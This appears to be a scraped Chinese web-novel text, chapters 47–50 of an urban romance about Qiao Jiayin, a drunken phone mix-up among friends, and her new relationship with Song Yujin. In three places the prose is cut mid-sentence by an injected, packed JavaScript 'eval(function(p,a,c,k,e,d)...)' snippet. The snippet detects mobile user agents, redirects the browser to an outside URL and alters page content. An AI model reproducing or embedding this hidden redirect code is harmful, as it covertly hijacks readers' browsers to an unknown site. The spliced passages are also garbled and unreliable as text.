自从楼道间着火后,物业就将每层楼道间的垃圾桶撤了,要求所有人统一扔到楼下的大垃圾桶里。虽然麻烦,但是是自己造的孽,贺白晓只好下楼一趟,再次上来进门。 客用洗手间就在玄关旁边走廊拐角,她换鞋时随意看了一眼,发现盛霏没关门,也没坐在马桶上,反而是站在镜子前面低着头捣鼓什么。 贺白晓眯了眯眼才看清—— “你在这里偷偷玩手机?” 盛霏被闯进来的贺白晓吓了一跳,手机就被劈手夺过去了。 “你把手机拿过来干嘛?发微信?我看看……‘你好,有件事我觉得有必要让你知道’——等下这什么啊?这不是在说我和那个姓戴的的事吗?”贺白晓抬头怒瞪盛霏,“你有病啊?要把这件事告诉别人?” 盛霏也一头雾水:“什么跟什么?哪个姓戴的?”她也凑过来看屏幕上的未发送消息,编辑框里长长一大串,“不是啊——哦,这不是我的手机!怪不得我刚翻了半天列表没找到——” “靠,这是乔迦茵手机!你怎么解锁的?”贺白晓直接去点旁边资料信息,“这都不是她常用的那个微信,是小号,怎么像个代购一样,她要发给谁啊?” “我没解锁啊。”盛霏翻着眼睛想了下,“本来就没锁屏,肯定是你收手机的时候硬抢过来,她没锁屏,又一直是设的屏幕常亮。” “这都能拿错。” “我们手机型号一样啊,壳看上去也像。” 贺白晓翻过去看了一眼:“除了都是平铺印花以外哪里像了,非要说的话我和她的手机壳颜色还稍微像点。” “我偷偷拿的,很紧张嘛。” 要是是乔迦茵微信大号,贺白晓还有兴趣看两眼,这个号消息列表除了第一条看不懂给谁的以外,其他都是微商,她转头还到盛霏手上:“被乔迦茵知道的话你死定了,赶紧放回去吧。” “我当然知道!”盛霏说,“你等我先打个电话。” 微信是用不了,她退出去用电话拨号。 “打给谁啊?” “我妈。”说话间已经输完了号码。 “你等会。”贺白晓脸色变了,“你打给她干嘛?不是今天刚叫你不要答应给钱吗?” 盛霏没回答,按了拨出键。 “你真要给钱?” 等不到回答,贺白晓索性左右开弓,按住盛霏肩膀,把手机扯了过来挂掉通话。 盛霏没防到她,踮脚伸手去拿,贺白晓被她纠缠着退后几步,将手机背在身后,冷道:“你先说你是不是要给钱。” “……” 盛霏沉默了一会儿,说:“没有,我只是想再问一次我妈妈,问她到底是怎么想的,为什么要这样对我。” “你问清楚了又能怎样?如果她说几句好话,你又要妥协吗?” 这回沉默的时间更久。 “你说得对,我不问了。”盛霏叹了口气,“我们把手机放回去吧,不然J要杀了我们。” “不放了,我要去问她这个微信是怎么个事——”贺白晓将手机拿起看了一眼,话音戛然而止,换作一个短促的单字,“欸?” “怎么了?” “……我好像按到微信发送了。” 她刚才将手机背在身后,怕盛霏来拿,忙乱之中不知道按了哪里,回到了微信界面,那条长信息已经被发送出去。 甚至在这后面还连续发送了好几个默认的企鹅转圈表情。 两人面对屏幕双双呆滞。 “其实我怀疑这个对面是不是那个什么戴总的老婆啊。”盛霏小声说,“你仔细看一下J发的话,我猜是的。” 贺白晓“嗯”了一声,但看上去已经没在思考这个:“我看我们还是先把这个东西藏起来,别让她发现了。” 盛霏隐约觉得这并非一个好主意,但她越到紧要关头越没主张,小鸡啄米似的点头。 “要不放浴缸里吧。”贺白晓说。 盛霏看了一眼,摇头:“有点水,会不会弄坏啊。” “那放那个窗台上。” 这个看上去可以,盛霏点点头,伸了伸手,发现站在浴缸外够不着窗台,于是脱了一边拖鞋,小心翼翼跨进去,将烫手山芋似的手机搁在了上面。 完成!她欣喜地比划了一个胜利动作,就因重心不稳往一边倒去,赶紧伸手试图扶住旁边墙面——却直接按到了水龙头开关,顶端花洒当即出水,哗啦啦淋了盛霏一身。 盛霏和贺白晓:“……” 贺白晓选择了见死不救:“你拿吹风机吹一下,我先走了。” * “你们把那条消息发出去了?!”乔迦茵踮起脚轻而易举地取到手机,难以置信地问贺白晓。 想看一眼手机确认情况,但在浴室窗台搁置了一夜的手机已经电量归零。 她气恼地在客厅找了根电源线插上,又总觉得不对:“刚宋玉津说我打电话给他了,我手机扔在浴室,那我用什么打的电话?” “我的手机?” 听上去蛮离奇的,但乔迦茵没空杠她:“你看一眼你手机记录。” 贺白晓昨夜在负罪心理下和盛霏一起灌了乔迦茵很多酒,导致自己也喝了太多,断片程度不比她轻,闻言这才想起:“对啊,我的手机去哪了……我好像扔到……” 贺白晓回忆着绕过一桌狼藉的餐桌,往厨房走去。 然后打开冰箱柜门,取出一部手机。 乔迦茵远远望见手机壳颜色:“盛霏的。” 贺白晓也惊讶道:“咦,怎么不是我的?我好像用这个接电话了啊。” 乔迦茵:“……什么电话?” “你不是发了那个消息给姓戴的老婆吗?后来酒喝差不多的时候,我接到电话好像是姓戴的来骂我不知廉耻什么的,我觉得很烦,就骂回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252328|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。”具体电话内容她也记不太清楚了,“然后就把手机放进了冰箱里。” 乔迦茵看着她手上那部手机思索半晌,道:“真是戴总?” “是啊。”贺白晓答完又不确定了,“不是吗……?” 乔迦茵安静两秒,道:“可能是盛霏她爸,他喜欢骂人不要脸。”而且同样是中年男人声音。 贺白晓:“噢……” 很有道理。 她昨晚也许是把盛霏父亲给骂了一顿。 道歉是不可能道歉的,贺白晓毫无愧疚感地想,等盛霏醒了再考虑说不说这件事。 往好了想,说不定她昨晚一通恶语之后,盛霏她爸被气到再也不打电话过来了呢? 在她盯着沙发上的盛霏美滋滋设想时,乔迦茵突然推开了阳台门,走到角落,捡起了一部手机。 贺白晓在晨间的冷风中愤怒地喊起来:“乔迦茵你什么时候把我手机扔外面地上了!” 乔迦茵头痛得厉害,几步过来,把手机往她怀里一扔,“解锁看看。” 贺白晓刚解锁手机,乔迦茵就一把夺回去了。 贺白晓大概是直接去夜店见戴总那天加了宋玉津微信,备注是“司机哥疑似和我姐有一腿”。 凌晨四点半,一则语音通话。 凌晨四点五十,宋玉津打回来,无人接听,显示已取消。 凌晨五点,宋玉津又打了一次,已取消。 她昨晚跟他说了什么? 乔迦茵皱着眉头紧握手机,尽力忍着头疼回忆。 她喝得太醉了,头晕又乏力,意识像小时候吹出来的肥皂泡,软塌塌地漂浮在半空中,然后又不明来由地委屈,觉得压力好大,工作一点也不顺,贺白晓天天住在房子里好烦,盛霏又过得好辛苦,导致她现在好想哭,要是有个人能够立刻出现在她面前就好了,可是没有。 她没找到手机,桌边本来放着三个,不知怎么回事全都不见了,问贺白晓要,贺白晓就从口袋里摸出一个给她,递过去之前已经刷脸解开了。 乔迦茵扫了一遍消息列表,没找到想找的人,于是在搜索框里输了他的简拼。 宋玉津的微信昵称就是syj,被这么搜了出来。 她醉得严重,看不清字,认了半天才找到语音通话键打出去,但即便意识模糊,也觉得说出来的话会很丢脸,所以跑到阳台上去了。 那边很快就接了,极其冷淡地问了句:“喂,什么事?” 乔迦茵一听到就更不开心了:“你怎么那么凶啊。” “……乔迦茵?”宋玉津语气骤然缓和下来,温声问,“怎么啦?这么晚找我,出什么事了?” 乔迦茵暂时没说话,隔着阳台门望了一眼客厅,室内两个人都没注意到这边。 她转过身去,因为觉得站不住而缓慢蹲坐下来。 “你为什么那么凶啊。”她又问了一遍。 宋玉津哭笑不得:“没有对你凶啊,我以为你是……你喝酒了?” 她慢吞吞道:“嗯,喝多了。” “在外面吗?”听上去像是室外,宋玉津清醒过来,语速快了一点,“这么晚,要不要我去接你?” “不是,在家里,和盛霏一起。”说完又想起来,“哦,还有贺白晓。” 宋玉津听着放了点心:“那你们玩吧……还是说你是输了大冒险才给我电话啊?” 乔迦茵脑子像浆糊,根本没听他在说什么,自顾自地说下去:“可是我其实是想和你喝酒。和你喝酒比较开心,和你做//爱也很开心。” 电话里一片寂静。 “其实你在的话我都挺开心的。这几天明明没有见你,奇怪的是有时候我会莫名其妙地想,要是你……” 说到这里就停了。 宋玉津等了一等,还是忍不住轻声问:“要是我什么?” “我不说了。”乔迦茵想想又生气了,“说了你又要说我是渣女,给你错觉。” “我没说过。” “骗子。” 片刻后,宋玉津在电话里笑了起来。 “谁才是骗子啊?”他说,“不过我不介意了。” 他用每次她生气时用来哄她的熟悉语调说:“那你骗我吧,给我点错觉好不好?你莫名其妙地想了些什么,希望我做什么,你会更开心一点?” 她一直不回答,电话里只听到她酒后有点重的呼吸声,间或着吸鼻子的声音。 宋玉津想了一会儿,坐直了身体。 凌晨四点,他房间里漆黑一片,寂静无声。 他心跳得有些厉害。 然后他问。 “乔迦茵,你是不是想我了?” 48. 第 48 章 通话一瞬间就挂了。 乔迦茵几乎是手忙脚乱地把通话掐断,将手机往地上一扔,然后双手掸一掸衣服上的灰尘,没事人一样走回了室内——另外两个醉鬼自然也没在意她的反常。 数个小时之后,她对着贺白晓手机屏幕上的痕迹晃神。 被搁在一边充电的,她自己的那部手机总算亮了起来,随后一连串通知声密集地响起,各种软件上的消息泄洪一样往外弹出。 乔迦茵将手上这部还给贺白晓,探身去看她自己那部。 没管冒出的一堆新通知,先登回她自己微信大号,往下翻到宋玉津的对话框。 凌晨五点,他给她留了两条消息,言简意赅。 【怎么讲一半挂电话,睡着了吗?】 【我早上来找你】 “乔迦茵?”贺白晓喊她大名,“你傻啦?半天不说话。” “别烦我,你们自说自话发消息的事我还没找你算账。”乔迦茵转身往主卧洗手间走,“我洗个脸,你让外面那个人再等五分钟。” “嘁。”还“外面那个人”,不就她纠缠不清的那个老同学嘛。 贺白晓极为不屑,还是趿着拖鞋去开了门,迎上对方一瞬间失望的脸,“她叫你再等五分钟。” 说完就毫不留情地把门一关。 乔迦茵在刷牙,听着动静嚷了一句:“你能不能礼貌点!” 贺白晓也嚷嚷着回了一句什么,乔迦茵没在听了。 她一边机械地刷牙一边检视镜子里的自己,宿醉过后面色苍白,眼皮浮肿,眼珠和头发都墨黑,她瞳仁还偏大,像女鬼。 状态太糟了,想逃跑。但这里就是她家,还能逃哪里去。 纠结的时间恰好五分钟。 她重新打开门,抬头看向宋玉津。 他好像也没睡好,下眼睑一片淡青色,半垂的眼睛里有倦意,但视线还是精准无误地紧盯着她,像聚拢着暗星的锋芒。 乔迦茵觉得,他这个人,实在是没什么攻击性,即使现在冷着脸眼神有些阴郁地看她,分明还是在委屈巴巴讨好她的意思。 但她也从来没告诉过他,她特别爱看宋玉津被她惹毛又拿她毫无办法的样子。他每次有点郁闷又为难的表情都很好看,可以说是性感。 果然他第一句就是:“昨晚的事你都忘光了?” 他已经做好得到肯定答复的准备。反正乔迦茵一向如此,翻脸不认人。 乔迦茵看了他一会儿,按了静止键似的,表情一点不变。 宋玉津在想她是还没睡醒还是怎么,随后她就开口了。 “没有。”她说,“刚想起来。” 宋玉津怔了一下。 啊,原来她记得。 乔迦茵开门前披了件外套,说完这句没等到下一句话,于是把手放进外套口袋里,淡淡睨他一眼:“不问了?” “嗯,什么?”这人没反应过来。 乔迦茵不答了。 宋玉津猛地意识到她说的是昨晚通话最后,他问她的那个问题。 乔迦茵有点无语,明明问出口的是他,结果他好像还不知道,他自己耳朵红得超级明显。 她说:“你不要耽误我上班。” 其实现在才八点不到,离她平时出门上班时间还有一个多小时。 “你有没有看过一个故事。”宋玉津说,“两个孩子因为成绩好而被家长奖励了一艘游艇,但家里没有水池,就那样放在公寓里。” 他很快速地打量了一下乔迦茵神情,后者在静静地等他说完。 “不仅想要划艇,他们还向长辈索求了捕鱼、潜水装备。每到夜晚,他们就打碎灯泡,让金色的光流满整个房间,他们在光里面划船、潜泳,在光的深处打捞出遗失多年的东西。” 乔迦茵懂了,光抑或水,是真真假假倒错的现实。遗失多年的,是她和宋玉津未能开始就遗憾错失的感情。 宋玉津大概是没等到回答,怀疑她没理解,于是向她展开了解释:“光就是,我们最近面临的这些。” “嗯。” “失物就是你和我。” “好了可以了。”乔迦茵火气上来了,她又不是傻子。 宋玉津乖乖噤声,低头看她,一副等候指示的模样。 乔迦茵问:“你讲这个故事的时候,难道没有想起来,这故事结局所有人都死了?” “……这个不是重点。”宋玉津无奈地笑了笑,露出有点苦恼的表情。 他想着怎么组织语言再表达一遍,乔迦茵抬起右手按在他颈侧,踮起脚尖,嘴唇轻轻地贴了上来。 她睫毛扫过他脸部皮肤,像小鸟经过。 牙膏是薄荷味。 几近入冬,宋玉津在门外站得久,嘴唇凉凉的,周身气温也凉,乔迦茵亲了两下就想撤,结果刚退半步,宋玉津就仿佛醒神了一样追过来,加深了这个吻。 真的冷,她外套里面是薄薄的家居服,被他拥进怀里的时候下意识瑟缩了一下,反倒挨得更近,像是顺从地配合了他。 她往他胸前推了一把,没推开。 再抬眼望去,发现他低头看她的眼神已经变了,没了笑意,眼眸色泽浓郁,有点着迷和涣散的情状。 “什么意思?”他借着她身后的门,把她圈住了,小声问她。 一边问,一边亲吻的动作也没停过。 乔迦茵被亲得喘,后仰着脖子试图躲他:“你不是很聪明吗?不是说,很了解我吗?还、还要问我。” 他拱过来含着她的下唇,闻言停了半秒,模糊不清地回答:“不是。我很笨。” 然后又说:“你不告诉我,我总是猜错。” 这会儿终于不亲了,退开一些低着头看她,近得差一点又会亲上,看她的眼神很深,又有些无辜。 “……”好吧,乔迦茵看了他一会儿,自暴自弃地承认,“我很想见你。” 宋玉津定定看着她,眼睫在晨光里细微地颤动。 而后他忽然俯下身,双手捧起乔迦茵的脸颊,吻得比方才更凶。 亲吻的时间太长,越吻越深,唇舌牵连出明显的水声。 乔迦茵头晕目眩,猛然想起他们还在自家门外,两梯四户,走道里随时可能有人经过,抬手捶他一下。 结果此人似乎误会了什么,把双腿稍有些打滑的乔迦茵一把捞了起来,抱着她抵在门上,偏头换另一边亲过来。 ……她不是要换姿势的意思啊! 乔迦茵直接喊他名字了:“宋玉津!” 他止住动作,发出一声鼻音很重的:“嗯?” 她伸出食指,压着他嘴唇向后按:“不许亲了。” “为什么啊?” “也不许装可怜!”乔迦茵瞪他一眼,“先进屋。” * 他们俩这副凌乱模样,明眼人都看得出干了什么,客厅里盛霏还睡着,身上披了件乔迦茵的长外套,挡得严严实实。贺白晓在玩手机,听见动静冲他们翻了一个大大的白眼,乔迦茵视而不见,把宋玉津牵进来。 她向随便一张座椅抬了抬下巴:“坐。” 她转身去收拾桌上东倒西歪的空酒杯,一个两个三个,旁边电脑已经休眠。她手指在电脑触控板上滑了两下,把屏幕解锁了。 随后猛地瞪大了眼睛。 “怎么了?”宋玉津问她。 “……昨晚有个memo没做完。”乔迦茵说,“陪她们喝酒全忘了,等我把这做一下,内容我都调整过了,刷个格式的事。” 戴总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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文档滚到最后一页,改完了,宋玉津将电脑屏幕转过去一些:“你看一眼。”然后看了眼屏幕右下角的时间,问她,“是不是没吃早饭?” 乔迦茵撑着脑袋,眼神微微一偏,避开了对视,只去看修改后的文档。 顺带答了他话:“没吃。” “你先看文件,我帮你点。”宋玉津拿手机出来,“想吃什么?” 乔迦茵把文件拖进戴总的对话框里,心不在焉道:“嗯……碱水结。” “哪家的,这附近有好几家面包店。”宋玉津开始报店名。 报完没听到答复,抬眼要问她,发现乔迦茵单手支着额角回了头在看他,面上有一抹淡淡笑意。 她好像根本没听那些花里胡哨的面包店名,答非所问地说:“那今天就算我们的第一天了。” 宋玉津安静了半晌,问:“你是想先把早餐点了吗?” “第一家就行。” 她答得飞快,低头看他进入店铺一连点选了好几份,大约是贺白晓和盛霏的份,然后进入下单页面付款。 付款刚亮出那个成功的勾,他们的嘴唇已经碰到一起。 满室乱七八糟,闷了一夜的混乱酒气弥漫。电脑屏幕亮着,甚至刚向领导发出文件。清晨的日光透过玻璃窗投射过来,将发丝染上淡金色泽。 很浅的一个吻,因为知道早上时间已很短暂,一会儿两人都得上班,都克制着不想擦枪走火;却又迟迟难舍难分,宋玉津的唇瓣柔软,在她嘴唇上来回地蹭,很黏人的亲法,眼睛也仿佛湿漉漉的,浸了雨水一般。 两人没注意到,沙发上被盖得严严实实的盛霏动了一动。 她扶着额角,哀叫着坐起来:“头晕……几点了,谁看到我手——机……” 望见他们的那一刻,三张脸面面相觑,她果断趴了回去。 “不好意思,打扰了……我会匍匐着离开。” 49. 第 49 章 盛霏这么恰到好处的一醒,那两位也无法继续下去。 于是三个人开始一起打扫卫生,收拾屋子。昨夜这房子里乌七八糟的乱象基本消弭干净的时候,面包店外卖也到了。 贺白晓似乎在房间里补觉,标准大学生作息。三名社畜在客厅里用完早餐,开车来的宋玉津自然担负起司机责任。 盛霏走到后车门时,察觉那两人在侧过头同时瞥她。 她一头雾水地问:“什么事?” 乔迦茵道:“以为你会想开。”毕竟她出游期间几乎霸占着驾驶位不放。 盛霏赶紧摆手:“今天就算了,脑子还晕着。” 她上了后座,还在对着手机屏幕发呆。乔迦茵早上告诉了她昨夜的电话乌龙,并且强迫贺白晓隔着房门不情不愿地向盛霏道了个歉。 盛霏嘴上说这是小事,理智上也觉得实在是小事,她早就想这么怼她爸一顿了,反倒借贺白晓的口出了一顿气,但情感上却依然无法自控地惴惴不安。 乔迦茵后视镜里看了她一会儿,转头对她说:“虽然昨晚我们两个那么说,但总归是你自己的事情,你做什么决定都可以。” 盛霏忍不住道:“你现在是心情好才这么说。” 乔迦茵:“……” 宋玉津:“同意。”他也认为乔迦茵变脸真的很快。 乔迦茵扫了他一眼,宋玉津又说:“撤回。” 盛霏垂着脑袋叹气,手指在手机壁纸页面无意识地来回滑动,没有实际操作。 她来到这座城市读书、留下工作,永远兴致高昂,疯狂地旅游打卡出片,谈一段又一段快速的恋爱,想要尽力活得自由、鲜明,把生活紧紧掌控在自己手里,将过去和家庭的阴影彻底摈弃。 结果到头来,她性格里软弱、服从的成分一点未改,从始至终都留在她身上。 “我是不是很懦弱?”她问,“明明他们在伤害我,我却难以割舍,难道我是被PUA太久了?” “不是,你不能一发生什么事就怪到自己头上。”乔迦茵说,“你那天说你以前一直在努力地读书,想要逃出来,不是做得很好吗?现在的犹豫和难过,其实是因为你足够善良,重视亲情。虽然我不支持你向家人妥协,但是,无论你怎么做……” “遇到什么事的时候,还是可以向昨天一样来找我。” 宋玉津又来刷存在感了:“找我也行,我可以帮你找乔迦茵。” 乔迦茵白他一眼,修改:“总之可以来找我们。” 盛霏慢慢地“嗯”了一声。 乔迦茵想了想,进行鼓励:“不要被打倒,盛霏。” 宋玉津忽然侧眸看了她一眼,停顿一会儿才收回视线。 乔迦茵用询问的目光看过去,他又小声说没事。 盛霏支棱地答了乔迦茵一句“好的”,抱着手机慎重思考去了。 前面那两人零零碎碎地谈起别的事,介于她这个电灯泡在场,也不便说什么多亲密的话,只是抱怨工作之类。 乔迦茵大概还犯困,说了几句后不理人了,宋玉津也就安静下来默默开车。 恰好无人出声的时候,乔迦茵手机微信通知响了几下,一连串密集声响,频率像是同一个人忽然连发了好几条消息。 她靠着车窗迷迷糊糊地去掏手机,不太客气地嘟囔道:“谁在讲话?” 明显是说微信,正常人都听得出来。 宋玉津还语气如常地接了话上去:“没人讲话。” 乔迦茵有时候真的对他的这份幽默感非常无语,不想回应,低头看消息去了。 但自己也莫名其妙地笑了一下。 * 消息是温见竹发来的,她的大项目目前的这一阶段总算结束,接下去能休一个短假,过阵子会从北京回来。 乔迦茵没想好怎么告诉她自己和宋玉津算是在一起了的事,决定暂且搁置,等到她回来后当面告知。 在她口头认证“第一天”之后的第十天,乔迦茵收到了新offer。 做债务重组,待遇比原先的更好些,忙碌程度相持。 乔迦茵觉得还算满意,因为重组的技术难度比承做要稍高一点,她认为没有浪费自己的聪明才智。 和宋玉津在一起之后,她自我感觉越发良好。这种平时心里想想的话,也随口就说出来了。 宋玉津还很赞同地给她回消息说:【应该给你VPoffer才对】 乔迦茵:【这个就过了】 然后宋玉津就约她周末吃饭,美其名曰庆祝。 他们工作日都忙,乔迦茵家里还住着一个贺白晓,多有不便,这十天来,总共只见了两次面。 乔迦茵比他直接多了,说:【记得订酒店】 宋玉津回了六个点。 她新公司和他公司在同一片区域,她上班时间更晚。因为午休时间不同,晚上又都要加班的关系,大多数时候还是只能各自通勤回家。 有天早晨,宋玉津开完早会,从会议室里出来,和同事们三三两两地往工位走。 工位在同一层的另一边,连廊两边都是落地窗。他捧着咖啡,随意往外看了一眼,就看见乔迦茵。 她在外常年都是那副疏离厌倦的神情,黑发散乱地披在肩上,发尾有一点鬈。黑色丝绒大衣,脖颈间系了一条灰格围巾。手上握着和他同一款的咖啡,侧头看着车流在过马路,皮质长靴踏过一道道雪白的斑马线,清脆声响仿若就在耳畔。 隔着十几层楼,她竟然若有所感地抬头望了一眼。 宋玉津愣了一下,才想起大厦都是单向的玻璃幕墙,她看不到自己。 乔迦茵很快收回视线,似乎只是漫不经心地随意一瞧,继续向自己公司那栋楼走去。 有同事问宋玉津:“怎么了?” “没什么。”他说,“你们先去。” 他站在窗边,一直等乔迦茵的身影消失在视野之外,才转过身回工位。 到约定晚餐的那天,宋玉津临时有个会,到得晚了些。 他从客户那里赶过来,穿得很正式,衬衫领带西裤,外面披着一件灰色格纹大衣。他本就高大,这身衣服一穿,不笑的时候,周身气质冷漠。 在乔迦茵面前就另说。 他赶到的时候,她在打电话,嘴唇向下抿,说了一句“别再打电话给我”,就拿下手机,把电话掐了。 宋玉津脱下外套,随口问:“谁啊?” “骚扰电话。”她说,视线落到他身上的时候多看了两眼。 宋玉津注意 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乔迦茵转过来,怒目而视地问他:“我后来都……我后来都求你了,你怎么一点不听?!” 宋玉津说:“我错了。”他也不知道自己什么情况,乔迦茵后来哭得很厉害,他反而更加想欺负她。但是他忍不住还是辩解了一句,“可是你求我的时候明明到了,一直……” “你不许说话了!”乔迦茵捂住耳朵。 她缓了很久才决定接受现实,刚坐起身又不由得闭上了眼,床、沙发、墙壁、浴室,这房间一共这么大,每一处都有昨晚的画面。 “我现在要杀了你然后再自杀。”她宣布。 “不要啊。”宋玉津笑着靠过来亲了亲她发顶,“我这么喜欢你。” 乔迦茵看着他温顺无害的眼睛,发现原来宋玉津外表也颇具欺骗性。 算了,看在这张脸的份上,她妥协地想,还是和平一点,不打打杀杀的了。 * 磨蹭到将近中午才起床退房,乔迦茵没有半点力气,东西也都是宋玉津收拾。到大堂退房的时候,乔迦茵自觉心虚,不愿与前台对视,将房卡交过去就要拽着宋玉津火速离开。但刚走了两步,忽然发觉自己工牌没拿——平时都放在外套口袋里,昨晚大概从衣服里滑出来掉到哪去了,也没人注意。 她跟前台说了一声,刚好那边还没录入退房,将房卡交还给她,她上去取。 宋玉津问:“我陪你一起?” “不用,你在这等我。”乔迦茵懒得折腾,“应该很快。”大概率就丢在进门附近,因为一进门某人就把她衣服脱了一半。 她记得没错,果然在进门处的墙角找到。 按了一楼大堂键,电梯向下降,却在二楼停住,有人进了电梯。 乔迦茵在给宋玉津发消息,敲字“现在下来”,没注意来人目光在她脸上打了个转,露出了惊愕神情。 消息发送完毕,乔迦茵刚锁了屏幕,就听那人惊疑不定地喊出她的名字。 “乔迦茵……?” “嗯?”她抬头去看,对着那张熟悉的脸辨认了半天,总算在记忆里翻出对方名字,“啊,王佳萱。” 50. 第 50 章 乔迦茵和王佳萱的交集向来很少。高中的时候本就没有玩在一起,高三王佳萱检举她以后,关系更是降至冰点,即便同班也基本不会发生对话。实际上乔迦茵都不知道她高考后去了哪里,没打听过。 眼前的老同学盘着头发,妆容精致隆重,更令人瞩目的是一身白纱曳地,手里还抱着一团便于走路,今天是什么角色昭然若揭。 二楼是酒店宴会厅,看来是今天的婚礼。乔迦茵客气地道了句:“恭喜。” 王佳萱的表情像活见鬼。 她眼神探究地看着乔迦茵,皱起眉头问:“你声音……”怎么好像哑了? 这都要问,乔迦茵转开眼,若无其事地咳了一声,说:“感冒。” 她手里还拿着工牌,王佳萱侧眼去瞟,刚好被她手指挡住了,只看到几个字母,不知道什么公司。 王佳萱从镜子观察她。 乔迦茵素颜,衣服和头发都有几分凌乱,气色也不好,看着像失眠熬夜,连站电梯都背靠着墙面,不知怎么虚弱到这种程度。 坦白说,王佳萱心里有一丝阴暗的侥幸。 刚巧赶上今天,她妆发精美而完整,同时站在一起时,自己实在是艳光四射。 看来过得也不怎么样,她心想,成绩好又有什么用。 王佳萱又问:“你一个人来的?我们几个高中同学也在,可以去见一下,聊几句。” 乔迦茵没回答她前一个问题,只说:“不用了。” 电梯门开,她说完就率先快步出去。 王佳萱犹不死心,急匆匆地跟在她后面:“你这就走了吗?今天是周六,应该也没事吧,大家都是同学,一起说说话嘛。” 乔迦茵只觉得莫名其妙,王佳萱那些朋友又不是她的朋友,一辈子不见面都没所谓,有什么说话的必要? “不想去。”她索性直说了,“我还要过周末呢。”不想被这种破事浪费她宝贵时间。 王佳萱跟着她穿过走廊,转角往大堂去,只当乔迦茵是觉得难堪,闻言笑起来,没抑制住得意神色:“哎,你别紧张嘛,难得碰面,我们都很想知道你近况如何。今天是我的重大日子,你给我个面子,怎么样?” “她要给谁面子?”有男声淡淡问道。 王佳萱愣住了。 她见乔迦茵还是那副冷脸模样,将房卡放到前台,说:“3206退房。” 前台温和地应声,说:“可以了。” 乔迦茵道谢后走过来,自然地从宋玉津手里拿回自己的包,将工牌放进去。 宋玉津低头问了一句:“找到了?” “废话。”她说。 他们站的距离很近,她走过来时不知怎么步伐不是很稳,所以宋玉津极其随意地抬手,将乔迦茵的腰揽住了。 这一串动作和对话都发生不过一分钟,于是宋玉津这才转过眼来,很仔细地打量了一下王佳萱。 显然是认了出来。 然后他微笑着说:“好巧,恭喜啊,新婚快乐。” 语气比方才的乔迦茵要真诚得多,但在王佳萱耳中,不啻于一记辛辣的耳光。 乔迦茵退房时说了3206,这家酒店30层以上都是高级江景套房,王佳萱结婚都没舍得去订。 她手上那个包,包型极好分辨,某个奢牌的热门款。 她和宋玉津在一起。 一瞬间乔迦茵的疲态、冷漠态度似乎都有了别的意味,原来她并非是过得不好,而是和从前一样傲,从没把自己放在眼里过。 王佳萱僵硬道:“谢谢你……宋玉津。” 念出这个名字,令她一瞬间心头酸涩不已。 乔迦茵对她说:“抱歉,我不打算上去和其他同学见面。”她侧过头问宋玉津,“噢,或者你想去吗?” “一般,你不想去就不去了。”王佳萱不在他们的交友圈里,宋玉津料想那些同学也都不是他熟悉的。 王佳萱反倒是慢慢松了一口气出来,看着他们,神情有些复杂道:“原来你们真的在一起了,我先前还不信。” 乔迦茵眉头动了动,想起之前那个令她非常不快的传闻了。 她问:“你之前听到别人说了?谁说的?” 王佳萱意外道:“高三的时候,所有人都那么说啊……好像男生那边传出来的,说你离开学校之前,有天晚上去找她。” 后面这句对着宋玉津说的。 宋玉津也面露茫然地思考了一会儿,是有这么一回事,但那天他没找到乔迦茵,她自己离校回家了。 “廖明黎远。”他突然说。 那晚上他找乔迦茵的时候,询问过这两个人,当时他肯定面露焦急,加上乔迦茵后来又念了那封检讨信,虽然只念了个开头,但肯定就这么催生了巨大的误会。 乔迦茵比他还茫然:“哪天晚上啊?我在教导处那天,你找我了?” “没找到你。”他解释,“但碰到了那两个人,不知道谁传出来的。” “廖明吧,他脑子笨笨的。” 这两个人一边为多年前的事情对线一边挨在一起向外走去,王佳萱看在眼中,什么都没说。 本就不是一路人。 但一出门乔迦茵就对宋玉津说了:“她以前喜欢过你。” “谁,王佳萱?”宋玉津震惊,“我完全不知道啊。” “所以说你蛮迟钝的。”乔迦茵说,“不然我们也不会拖到现在才在一起。” “……这件事不能只怪我一个人吧。” 谈话间上了宋玉津的车,乔迦茵坐副驾驶座,扯过侧面的安全带。 “但其实,我也是刚刚才反应过来。”她将安全带咔哒一声扣进锁眼,看向前方,语气平静道。 “我之前从同学间听说你我的传言而极其生气,这么多年不愿意和你联络,重逢之后见到你就不爽……” “这些本质都是因为,我不甘心。” 十八岁的乔迦茵,远比现在的她还要骄傲自矜,因而更加无法忍受自己付出的真心被憾然错过。 多年来她太清楚当初只差险之又险的半步就会是另一个故事,于是始终在为这从未发生的恋情耿耿于怀。 她说完转过头,对上宋玉津很深的目光。 宋玉津问她:“那你现在呢?还会不甘心吗?” 她看了看他薄薄的眼皮,好看的眉眼,直挺的鼻梁和柔软的嘴唇,半垂着眼睛很乖地看人的时候,简直像是蓄意勾引。 她回答说:“还是会有一点。” * 乔迦茵周日要加一点班,故而今天晚上宋玉津就把她送回家。何况昨晚胡搞成那样,今天说什么她都不肯和他过夜了。 送到家门口,遇见了不速之客。 一个挺高的年轻男人站在门边玩手机,望见他们时眉毛一扬,喊:“乔迦茵!” 乔迦茵脸色瞬间变差:“你来干嘛?” “你不接我电话,我想来找你聊聊。”他看了眼她身边的宋玉津,不快道,“这是谁?” “新男友。”她说,没打算介绍。 “新……男友?你不是很忙吗!” 宋玉津露出了犬科动物被顺毛抚摸的表情。 不过下一秒,他眼神就变了。 乔迦茵烦躁地喊了那个人名字。 “汪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 